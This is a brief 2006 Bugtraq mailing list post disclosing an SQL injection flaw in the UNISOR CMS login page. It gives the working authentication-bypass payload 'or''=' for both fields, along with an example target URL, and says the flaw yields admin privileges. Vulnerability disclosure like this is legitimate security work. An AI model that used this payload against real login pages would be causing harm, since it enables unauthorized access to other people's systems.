Bugtraq mailing list archives
UNISOR CMS sql injection
From: fireboy2006 () gmail com
Date: 27 Oct 2006 00:06:00 -0000
*********************** * Tunis the 26/10/2006* * bug found by fireboy* *********************** product:UNISOR CMS vendor:www.unisor.nl there is an sql injection problem in UNISOR CMS login page and it can be exploited to gain admin privileges. exploit: user: 'or''=' pass: 'or''=' example:http://www.target.com/unisor/login.asp thx
Current thread:
- UNISOR CMS sql injection fireboy2006 (Oct 27)